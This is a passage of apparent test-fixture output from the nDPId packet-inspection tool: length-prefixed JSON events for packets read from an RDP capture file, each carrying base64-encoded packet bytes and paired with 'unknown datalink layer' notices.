+00425{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1061,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":137143,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9E8lHnYsyUBggAI4mAAAXAwMAMOAIO32NJwv7V10O3phsNWKw82345mpS0yyEbGijFsTS0rk8cMLH9sF8\/\/yeZ0HgQw=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1061,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02090{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1062,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":137803,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhoEAAfwYjN8CoAo6sEAK5DT3NDkedizL5vRMaUBD6AIvbAAAXAwMGbwAAAAAAAAFU0JUpSLD\/STrSKNJYVjK0eBk0T7nCajV8hSTGCLwOE+\/nAUeMtDmQgXShD7ruZvgE6neA7mxpmZ3o1hQJox+eO6\/cXB6lvZfS8qgr4ALvaUZUNvIRH4Pr5wpBjzkrQF\/SoC2R42y1LANjMTtfvN0PD9ugHv1wPmnmE+jG34QsMAp6a4tl+6QAciY\/DvgAn5UL5PFqizGfkI7sFqur9fAXYGXHvdkELhTlzOBTc1ej2\/kL2HSfWzHk77A1C0cj5fmzEg4tnfzdyhx5n9Qh3gvQT9sIoxLgEYTiixGK70wjvxl8u3pRDXEbaxZly681PA\/hgJsOuuq5l\/3HXic\/nLgHAVgBgvUbuia4ScODDPCpMhmCh4VTGBh4B9Ht5\/D9KsUQoGPSFpN6wwRqEFaeIjegViqFwwGTNNjqyWryOf9Iz74\/10ZQO0lhpGgKWWqGGaKldlY2uUXQQHGcdUaWHFjOrW8DHPwNh2ptcIaNnqik5XHDodZKAw1Y8h0u8syCfnCIX4cW7HkO9QNxVZpjGyWr+p25ozA4bCvJl7L9A0GvBCefjzbLRqU6qWLFf0SMwbLGUoJ8qEvVBM\/ZxOXyGcAupjNSvF1LUblu9wb1BJ8bw+fZJwPXjgGrvAi\/R225\/r\/t9nUO99TdZXoHLyKtjlPkJI3uWvKjMwgDbk3asyMxTYQiemVmxfBDBSPyRFm\/OoK8qx1U1PLNHUqsNBD7xyg7cb+e+zIkq80TC\/Pn01y\/0WZ4ZuGAvJSP6y0jxwb44iduYXd3qCefCRHD432M7QpeJ2MfgtYkkIrEdn7d3bi3guh9Q7Z0lYK\/BkhbUnmZc9uQgstJC1qh\/mQkLvYZdiMBopHo5CMtBUF\/XuE2z1X8z7SYjqDSGJCAFSNakkccgd2YkBtsFcd0lJfatt8ERwRzDHfvWe8No4IOyaGHZt0FrqKdu73ExrsUh9oocDFNY\/xhz8eDew\/ZjL68C5VFIO2QP+2OcHuCRaZUhmaPJaSgkFlPg23o2flfEk082hyF7TZkECWKzR4DnFpr9xgBRZ2fXRs\/ubuq26sEabyvA8hkd\/W6E\/Xp9DyAZz8CfsNwl55DJzISRRdB34yp5M+K\/X+eYE\/EBQx\/9qeYZyTtAOGT3\/nGZQFAc5nEGGp9ZgYxrPWdrNXckCC9sIwsYEgpUMdt\/9ni5w5V2GYa10QSlm\/Ppw1x77PZnqYsEKuYi2CCShYKAVlZnBujG6mRWITwxHWSNDllVJwi70y0wkRGtlcBmNSjRuJCu0nqA+7hVbQI8c0fIjOUMw63A\/pfk7EcHS8VVTwyyCe5V1SC25nB0a\/IDH\/pumTLO7ExnlNqaK0JHmOeKho4LnS3yahJIV6FjNaiT\/CLxm+iH17PzIOSaYcLm6NA8062XKNFAs90uO9GCPHacxFc\/tOB4MfuPm8HtF++3tV7rn2HuSjWCC5firi5JzzwjrG61+RXLoomY5SMNC4SSkbXXFTyrqBnf1NVs1NsqdcNIwgihu1idCBQmiD0asArSAb\/YZloWX2kXkwaM8lMH295f9tSsd7p9Y3ZzZ7bDjVLUc8VCuKq42ohPwk+qXjJUKCz8Vc8+UpGF8tmpS4XrFyBteWwiZfr4CX7xEDBBAy\/YT5zmUP6Pfv08DmWyBkQJW31gB1Rwbu1+5GuykiNiW9pKugCr6hN+rJa"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1062,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00867{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1063,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":137900,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhoUAAfwYmtMCoAo6sEAK5DT3NDkedkCv5vRMaUBj6ALQgAABQtCQ\/EaS3RSLGhsjSw69lrUHIItpEav7BABjIrD7E6jND63sAflLq9\/Eq\/+l9jjxKWPZHqo0xV4R3JLrQqpeB\/nSm3INezbohE22brpl4gFvzmZPD6cURLPrZp9VsJ325WTYefaC5SoS5hK8NfCFMNK8fZtggsxE26aAwX+gJw\/2VdDMwgEf4iIe2+4h0n5467OEA7htej0UxjWL9hlMBIKfTFtJYOcHNk5OnTSmXLkMiThcDxZ4FyD\/JpslF\/az+7RXawpY2qsSmdcU4EVQfrPOQiAZKh+dYD6nozzOoSboZj4NFXajk++vDD2VFxej+BgJZTx+bXtQczp\/LQ7+YhFluBJl6i8EaxrQ4MsTIBtIKU9ph\/\/bYuYJMz2IZWDeaxW2ajA4ZU667g22oSlJW8GXP73dKchMiURj+fj2ocGFCPOtZvEGidQrm16kot81eROQXICiXDXNnBiqy6TuxjZppWp+LBVypcnbgaoSvt7B9lqw2YNxWX+mG"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1063,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1064,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":137937,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9E\/5HnZGmUBAf9FyVAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1064,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02086{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1065,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":138279,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhokAAfwYjNcCoAo6sEAK5DT3NDkedkab5vRMaUBD6AB1jAAAXAwMGbwAAAAAAAAFVrs\/qe7k0RNAMptsKi2s7WDw9ZAQReQE3uWeUAcwD6LRWTh+2MoczTN++yC2aAhxL22+X0oasCC\/GASivqPwJC924caatS2v0\/\/HGqQM\/ziW3e2R8vVYwtS\/Jd5Gi1dzfnZCToektBF87ZJksll4vY+RfmnnkhGrPgtK5KLZlaqPvBawd2AM0w96bFude\/WN4nupfp3Gg\/YxfRCTFgfqYYbwTqEci81up5vhwgBpY3dcLmme5NuAb1W0GbbfqyMVjqkx6K4CkNABZxiVX5TmB5oTEvdjSE3q4KBdHYolDD3ICbrUeKhODO5yrLw49GwvJjyrvHXrHLpMwOvLPQztz7AEOyr1muQ3OH+39g7P2jXoa1TJfbNqTW60G\/+Jp9CqSPdc7RRuPY8yAMqlsZcdiuFxUbb\/dYEWdOsCvPoQyyal\/T6qd2RPAez0OomWr2KpY\/EcvBrqfw\/uYhRI7eLrTzWQPSLOkxgIOth9ucJxbc4rQEBju4J7OBsJrrFH1VihT5KvBzPLpsdxpM0z784AAfZmn9R83xCbu3kKy2UaoW989bJahO4V9tfvOwnATHxt765DwoBqjcJQNELzxSFFwTHSJVuY1nRjciA62ssUFxVF+\/kEgIq7l\/gf\/+N\/r76mnrEfgdOGKtgajMKrr\/IOYxgl6\/+T6tYbeGmSJ\/LQvuH3Vnm4XelJNT8Y8zbs\/3It6XwyWGCokzRwHZJ0+7Uc2oFD94jIxR+jsJN7LiYHcR+w8xEPDMosRc6aga\/6iNheRX0m9YjGOzl8R7qjEHa1TYSyj6jLf0UtmOERu6T\/trXnec\/vrQzG65s1uVlME446Ynwc\/7My8sg\/os0Mf8hAG\/5dwIE2L36j\/hMs8g7IA1VAtNyqLhjQ7JR7NnrvX3e5fxbh3zYawNjHMi6xF70mVC6HZVsKVqYpKY1bFPozGqG6kSL\/J02aQzZA4T1uc3SxSnYxZbx1Ad\/mTmKONidBJLUkehyDlOzd4X7GFjOBH9SDUTsF9yWXDzEde64sdoN7vyZ8O+F5zG4KsiIvh3sJMOgbzvpSkhcfGUCdIhM\/ZNdXHMh8GtJyHC8mxJFAnukqRNEIdfKdzyxQkeWbtTexp8TDItK97k2EjIikltCMx7ABR6+YGDDwYvSPYGyGrlp9c3TMyinUgBAsud9nSfWRaiBPUSPwliCreKcZaAAAMXRPr+UvwGyhVj8VxtNlcifvwtC1dCcXnvBQXV2vmethk1Cnq9VhyV5bMSQtARJdyWxqRMR+f3YCyWuM7PRD4qLkcxEHqenEBAxUPGr\/cb6aLqaFGhfXXVvEXAZMtzfXitKUj6aDPgi3CwcnxsbLpqNhFqsOxMirB9wy0PojgkYs3DPdgI287nC4NWSZ\/ocZuY+urrqbijmpdgK2cMHGk09cEJYCWQO0GdbyQOh3DCm9GQeqY4cIeUBdx5GfNKcJ1fji3YOUWR1ehwuhODCzu9Go5+TFA6QxpW4OZv9W49Kq0C2fUS3cDcGmnB9UYLIj5\/mcwOGd0oomBteqLNZBOYLO+cvZKJw3cnRip4id8G3SC5pP9pag3Cgg6T9KMRqQxQWAeUvZhWXuqdHUEjgcH+jO1W6pJyCTw7By\/hEADRNrlemF2+o+zMgJZJL7nCivARCi6HwD9M8N0fb8RayaPMW8guv05acLt1SRol9fl"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1065,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00860{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1066,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":138417,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNho0AAfwYmssCoAo6sEAK5DT3NDkedlp\/5vRMaUBj6ABDoAABYzRdVc0OJqrvfI7XvRiGcMHtbkTHU7bQqY1c1jWUGuMUTjWCSroSDixuTWzQ96MuddAMyRiMNmlm6lGveQOhP67WkbdRqgR0NUX5lg3zpw8EEZ2Ax\/IO0w6yKf1XTGfRkVvw9y5U0ms8UTPSAEXg3bAkT7WTBMMysS0ieMtFaXQpOja0KtVWa5MQwzXA8KNeux+igEQMAH3V82zJHFX+9XgPZEB7F8oUteO+NxRs6QOJNzt1VCjunRAtKs1Pq7RiAzHOFoPHl1BXXEhPgMBimgFCXD7hEj3J\/gjPLlj12ktu1SQTRhYZkJ0A8rm7v3q0A+uMz+NukJqaFX4MSgSg55r53v47KgBH3cJ4FpCYFke28eAbRrIv86FPrTtnrjiJtfLNr7muaOYSYRRnNkkZM7FvDvKJ+obsL5ReSF3LJSKjqHVUJqCJobHGn34AXFq5rshRqsiR3gnPSd8x1P3O+BY400c9VvC+6tOFja1LQM+3Atxrvvv08BJZ0"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1066,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1067,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":138438,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hpEAAfwYn98CoAo6sEAK5DT3NDkedmBr5vRMaUBj6AFoNAAAXAwMAMAAAAAAAAAFWjVe+onW46SwYOwlmDkTTX\/nkfjVWUcaZHJfxE+wer8qMdCrphIqA2w=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1067,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1068,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":138455,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9E\/5HnZgaUBAf9FYhAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1068,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00426{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1069,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":138539,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hpUAAfwYn9sCoAo6sEAK5DT3NDkedmE\/5vRMaUBj6AKnyAAAXAwMAMAAAAAAAAAFXfAJFANOEXaMcgrCKzH\/JKlqIio7I+Ap7g8dn0GXk4rAI\/JqLqUcAyA=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1069,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1070,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":138560,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9E\/5HnZhPUBAf8lXuAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1070,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00353{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1071,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":138696,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9E\/5HnZiEUBAf\/lWtAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1071,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02080{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1072,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":138796,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhpkAAfwYjMcCoAo6sEAK5DT3NDkedmIT5vRMaUBD6ADORAAAXAwMGbwAAAAAAAAFYM6PSAsmBO4Ul61wZPN4P3uG9ayodxqn1tGVvdNK3yl04j\/0n9vRqckKk3KlxjiIsUJAyl1L3ihf2vEq5ZDPTMdVHjbnenkvnfNmEYidUAO\/yJEvJhSA2JQFdaoEH0XVOCbATd6pTz\/HIhp8PBcCsdYHCK1C4tXHZycF9Y8K6BV66qVFjOna4Z8Ii06wqvkzE6CPTcBzLruxATfBuDJFx+QyrbvmQMN+2dvt03rJ+FQjLJbkeLmrCK+Jjfm6AqyKh4LJ7sskkFBbQIJNDiKVGKBllUkfYvl4NEv0hQQwekTq6WLWKMN\/NrGFjBNT1fvynRdeYUG6DAepn+96b+M2Qdje3RZkJ7D3FwQTtfyhaEwk0S56R6K419IVPNVPod+bsGnDS\/iioPTjMBzKGgRBpnXzFnJd75Qlt74FaAEfiFbGxB1MD4\/yiMS6WOZ9s6j67MxNxOoFr5X\/qAd7kb3u5O3QMPBbkbtgpDXdLVGQ139+ZK7AWpxweyH7KoIzzt31kygupp4Zr3NtAqQ5\/7CYcWplmo6elug6UQSMZOVn\/R39llA53zMhNnzwnrMGs18VXEHKmDyyloJIvbhPOxmQjBx+sYy+AbjvGdKMOsspq0zy0lyBa2JrA8gQCHqw2oMeDQ8wSbvLKHBT8Siu3PNf3LQywJrs\/Qv77K9DhdjnR64TOWRzH5mX8XXz5Wq3mC3HKijrLT57ZChqxqo2IKT1skbW61ISziAZt4+DNaijKocA0uwvlUcxSPc+TN8KMZ6Ip2hBaY6taleksJWXW4D00qoFhgQrt0HODUHhMYzTm0oFNRZItsLlDtKHCu7cE5yXLtG\/9S\/m4jZ7gpeNuFPyx5ULC3RgQjAfBvXgr8OURDJGdAAY823der5i8Zwq\/KeUPZBzBZho73g\/XOiwgRf0BZgUq170WUdbCrkLsvs60jfTnfffcKOA9zmK4X0eg2W1QHkpDj8A4Z4h8s7xjI0Zb7ep56NtY\/aAOV0jpMSaLdWzOaVPgEHfCexwtNaqIz9UmwRgc3P6Uap+eXQEgihGcMAUOY5a4X84HhoiTJM44Aqij8IdQLRZxgoWFIkmO8tVV2EFwDRM8x7SGCn\/U6ccgkMnzjEt6qLjO2gnSuNAySUexa8BwTqRML3MPoLsOgO62dSDj2XKcgs3pOkuBVL9HA6IXWPJ0ZMR3+sNcVAQqciFcHjoMKbVtSXJ6tNHZgL34J65F4iIvnfmD4Db1YGzAlEiGncbkSa5dtB\/nciQbSTA+b7bsfqZU3sjlKR\/A1uauPnrQ33165XRomDtJtHsQkG++RSoaROt23pjUwnRknf7fHZFtF+qWGfkUIPCL+gSpGs\/nCbrd+RRcckkeV+CoZHeqBDznLG\/gCO7yRlANI7YRaVWX98+Y7PoZUktPmfeUWuXGdNBano4UKiDNObrUdj7\/p8Y3SfNBXi\/3lj4h4ap3To7OGgZMqSOfESsS61cFCtTEgPY0+9\/g\/q+ajLt+hO4GbuWa0p9lpZmbbGrYkiZ0wrUpg65kVBUP7RAREi7OwzdwzzpRJzrzSmjjU+AW3ctF7yvfr4lLusWQd\/99m7ztn0KdANSxWVbaCizG+cntdVxlVsbT\/BSM8wDmakm0+RvfQCXgduDv\/p\/BZr\/Rpxoo7mT5Q2prjLhoPxQpZsWHPgnU0L6nP7JTHKLK"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1072,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00866{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1073,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":138838,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhp0AAfwYmrsCoAo6sEAK5DT3NDkednX35vRMaUBj6AFyxAAA3Xw+kVBno0TWewN0cSoFhUyQbakjr6dCfrwa948WtbHjBt\/bfkkpXedh9OjcMPm3V\/M2PDvcVTdGUZFXtbpbrvN7XgiGg3NEHGLwZW7YvI2hDMuDESa7BJyHCqiQZ1N7mCogmPYqxJw6AQ3edw73qsR\/ZWMEcSIrSqWMMGJLirt8u1Vd+2r3mANAXBxFNJXmVjqrG3\/EOVw\/zKFtCkAvNVWOPtiWP10HDqEr2UzR10R6D\/0U5VWM5ymUMk+j6K3XAZsCworhThjcUlsi+gTMMU3tc+ts81EZLRpjPiqfkkpMr17fBKBFE0jS9yo1WDTPmPuVgz0et5TlBr9sCk4vQ\/NkQxMzLYH0J08qI6rAWiV9zkYWwv4ZW7WNUSs1M12T8KZwcp0bWkNqLAomVD1KQdE0WcCrps+75WfNAwlb+wJKuD9QC1PWeIlZCtZt8eeGR8CTJ8rV75egQEG3xuidNh4X2bjVU3Rg3C37TK5WPB18S1\/OHMl9Sg0\/Y"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1073,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1074,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":138877,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9E\/5HnZ74UBAf9E9DAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1074,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1075,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":139060,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hqEAAfwYn88CoAo6sEAK5DT3NDkednvj5vRMaUBj6APumAAAXAwMAMAAAAAAAAAFZoHKM4B1Lj3QF2FCtwKffQBOuiIJObqd1oKyRRNI8fy7LEr2VRgt9MQ=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1075,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1076,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":139132,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9E\/5HnZ74UBggAN2iAAAXAwMAOOAIO32NJwv8BFFrTGGQSvSZOEaxDGMvSFyqy7UxKoB2MHP\/uUkfZLy587P1Q8xOl9j3jqzLf3RD"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1076,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1077,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":139228,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9FDtHnZ8tUBAf\/k7HAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1077,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02072{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1078,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":139334,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhqUAAfwYjLsCoAo6sEAK5DT3NDkedny35vRMaUBD6AGxCAAAXAwMGbwAAAAAAAAFaiQzqpbxH0qcyCfIMPeqKS4yVyXb5uax5iJTsU6VfbEF4kT6UxJRqQEOcZFPAXvW1s3ChpXDW0A8znN3Nz\/c7m08x2CCdTljJfxoCNSF\/4mn8WHglAft4h11TtEnTZznGfh\/4mFWiDUaFSc+K0lBXi6XaY36mEb8aCZ1UEYdZFqkjGnUkm0iTDZ\/WaiIROufD2\/zERD83q9zBaW3YZZS59HVIRTMs\/TAuCkjqivk0uKNTkaCefnckgKxGgMIohQd5hHBpCsuT7BI6HincP0A26s59dDF29SYckCDpgQzIT9qPuAD+Kd5AFYvKQbywH4MhUHgIXkh3vL3EQkVbTvs7Knd1piRVcxrc7HgneYjWR6vyOlms8gx36nniGIIQ6slp5PKrsdMdwx+e4GncFVOKYQMvFouW8GAgLUoRbYGp3RWJKEHdrF5elpMirEsPxiyv5cLbs4vIthP3YrJ3a+nW2aZIdxENvsf7ZY0fHBlRiqzrDVzrwMcaHVY6bwJdvU71ygfS4Gl1DImenqhnJXp0VMHi7IgBny54xSKi7GSxTR+WyLl+\/3EGSpp91qcpESS9tQ5j0dCM1plvPuhfUqLOFeU4tYRh2xRKe2YbOiMkIO2vEVqMBQ78Vgw3Q5GdbYbfb0IymOvVaHMyA5hI1Z2v1G24s5LhxqgZUUvuqjNo9tsIBQELa6JiqFVLwu6AX6fpooOeBoMcpd+Q28e1Fin3JUqYy1eoUkS9zoBt3DB\/JJOTpZINPodeVp03PIssjtYzx0iM1hLK75oTuClcXLep04+hfb3TrZh3DQiPPJA\/F\/cdRdT8hciHuk\/Lo1x3YgHLpmPXu\/PBHKpAPcHxIPeK4Jwu2eZSHwbSKbB\/PbUjsVFwK+5u5yYeNJeMBAl0Q\/XF27mEMthv1pma2\/2SmlPTBjYrEml2aNkaMIQsfUKygAOvMwz6BVxFajlZaBaFrf3QLI8ztBwx4ZVAEMcUt6Az3WvMKXTPQmVbYMJxSN9wO6wGhmhlhtrNhIFiN1KhHA6Ch\/p8aTFuk38SIK+\/jUXpoxnm7+baKcP4xfx4+dDsDx3mKiPBSxrmRcgOzQB1SQFKLPA2oVx9EHqPG3qaA7ydev2UA7IC3syywLJgS+PVFXoVrTcBMseZ7fQJv9UIeC2kEsMkZmBs1+pvE4nLG7RPGXWwK7kyIrwcUvrXS93mReci31tjtLQRgpj09SP\/ViVOjD11ei+xJ5p2Oy4LALJeEx2eagG0AtRlC3NX9s2lFKwqSCvcNHNFjzIivIMDMivUROqHFod6YC1zWZERbr+WVWZiFoHkBwS3qKnSjJuvQDF0R6UX7zxywiXIreEhxyHUjB+LbxjJKwOanTu2G6X8LIEGPB0ABX3WqLp\/dPtPknjncBE4C5ahiDY0NpCXjT7dsH8GsE4Srh7nu\/4xFC8f5TZcU3ELnuNIvJJ771QhfesFgS9MN69TYF2dJnHvVoEjRMUxji8mkUzn93pnmVfNWOth110ws0xj+ID5FZktTxFDwbnKvHDBwwavfC+3iobVBmp7hUB5DSx\/CnmHv8L5PaX0iyDy2EoCatYkS2fpDYCKtK6iA0XpR5GIXJgL8+vKvtYmcxwMMLqsjbLgTkJD0khlF4CLZ+0aOcxXP84NMcXGjmXXjo0pIAIIZEyQdyk8iosB5Z0Wr5JzZo0A"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1078,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1079,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":139377,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhqkAAfwYmq8CoAo6sEAK5DT3NDkedpCb5vRMaUBj6AAJuAAAg6IQLFQyOxVUAHQt94SxZ9s3b8p+Eb5P\/YCKeYnJdX7RNHsvOlxLqIkz3HnL6ebT1qnvnAPTIIdRYqjj2sWjF8+RT1\/4Y5Fy1oeFT7iVj0x8y\/HjoiGWcf6P\/+HXma+nideu32ot6Q9mjg2LnISdepoeDc7ws8Vzbrr9Lfs\/Uo7cHoyJ9OiPQEf8Fqsq1T6PvhgkZ6RSXXKCBwYVJYFgdrR42+uaH5JKxtkSvwjKzmRkxMatqLznM++PaW5bmWDlLeID5nGo68QGjlOBnZ1j+GNP6s1LSTl2CRabycBQ\/kZG7LJa0VM3odvOF49xHomgifhnwOhXh5bIKprMVxAJpOGCLK0V3eTCXz\/wDL2crK8PiGuDUFMGzX74mTJUHPoJDSyS2a669wdRFw+erBgjAQ+Rki+5sdr5qlIM3BbgsKtySpNocmp4lQsJzPeNttwiL7R4d9uvwORIuluuRDz6DPDDGaH3agT6cYePuYCCkuXowmgpfwLlGseFx"} +00175{"basic_event_id":1,"basic_event_name":"Unknown 